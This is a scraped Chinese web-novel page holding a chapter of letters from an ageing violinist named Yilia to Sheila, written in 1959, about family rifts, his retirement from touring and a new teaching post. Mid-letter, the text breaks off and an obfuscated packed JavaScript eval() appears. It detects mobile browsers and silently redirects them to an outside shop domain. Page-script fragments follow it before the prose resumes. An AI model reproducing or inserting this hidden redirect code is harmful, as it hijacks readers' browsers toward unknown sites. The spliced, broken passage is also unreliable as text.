文趣网 > 都市小说 > 与卡茨的101封信 > 43. No.87 IK Sep 1959
    「亲爱的希拉,」

    「这些天,我发觉自己与罗杰斯的关系较从前缓和许多。」

    「不怕你笑话,我虽在前几封信中对你所提供的建议嗤之以鼻,私下里却没能抵得住诱惑,勉为其难放下身段求和。」

    「前两日,我与罗杰斯就我未来可能的以色列巡演发生争执,最终不欢而散。」

    「可我们在那之前至少能共处一室,父子关系怎么看都比他的姐姐乔淑华对我避之不及要好上许多。」

    「读到这里,你恐怕会感叹我的期望之低。」

    「我与卡罗琳娜的儿子朱利安下个月即将迎来他的十二岁生日。」

    「最近,卡罗琳娜因为我始终不愿意教朱利安小提琴而和我大闹一场。我已经开始担心朱利安未来与我的关系,是否也会像他的兄弟姐妹的那样糟糕了。」

    「我好像很擅长将亲密关系搞砸。」

    「有时我真的怀疑,是不是从始至终我都不该结婚?」

    「暂且不说这些,或许待我临终时这一切才有答案。」

    「我应当和你提过,早在几年前我就宣布了自己的退休计划,结束了自己的最后一轮独奏会。」

    「你当时关于‘年迈的小提琴家搞砸了一轮又一轮告别演出,最终变得面目可憎’的描述将我吓坏了,毫不犹豫地选择了激流勇退。」

    「我可真真不愿被当作贪恋名气与权力的人!」

    「不过,这倒不是说我完全告别的舞台了。受到乐团或指挥的橄榄枝时,我仍会应邀,只是再也不愿意开无穷无尽的个人巡回演奏会。」

    「因此我现在有了更多时间读书、思考——你知道的,音乐的尽头会回归历史与文学——或在有兴致时请朋友来家中坐坐,一起随意演奏些室内乐。」

    「我们折腾得有模有样,甚至打算在不久的将来,以我们这个小社团的名义举办一些洛杉矶当地的公益演奏会,邀请当地优秀的青年演奏家们在业余时间参与演出。」

    「不知你听闻我的‘退休’生活,是否心动?」

    「此外,我也能更经常地作为听众,参与当地交响乐团的音乐会演出。」

    「要我说,洛杉矶爱乐乐团的水准真是需要提高些!」

    「有时我都不好意思将它拿出来与美国各地的其他交响乐团做对比,不然就会显得我极尽刻薄。」

    「究竟是西海岸音乐教育比不上东海岸,这才导致了乐团水平的差距,还是乐团水平的差距,让有才华的演奏家都不愿意来西岸学音乐?」

    「兴许是我近来太

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17689219|207876||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    多次出现在了LAPhil的观众席上,他们竟来问我,‘谁才能胜任乐团的下一任音乐总监?’」

    「他们总算是不想做三流管弦乐团了!这刺激到了我。」

    「我也得对洛杉矶的古典乐发展做些贡献。」

    「南加大不知从哪里听闻我的想法,连夜给我下了聘书,我欣然接受。」

    「宣布这则消息时,公众全是对我也许会进一步淡出舞台的担忧。」

    「哈哈,他们的担忧是正确的。」

    「我职业生涯的下一个主要任务,就是和那些声名远扬的音乐学院争夺生源——他们从不愿意放走任何好苗子!」

    「说起来,你是否对‘退休’后的生活有所安排?也会像我一样热衷于教育吗?」

    「从你之前给我写的信来看,似乎从没有类似的想法。」

    「又或许这些对你来讲还太早?」

    「有时你在事业上不断拼搏的劲头,让我觉得你像一台永动机。」

    「希望你能在少有的闲暇中,回顾你的演奏技巧于音乐性。」

    「如今的交通工具大大压缩了旅途中的时间,让青年演奏家们疲于奔命。当我看到他们有限的反思机会,不免同样为你担心。」

    「你真诚的,伊黎雅」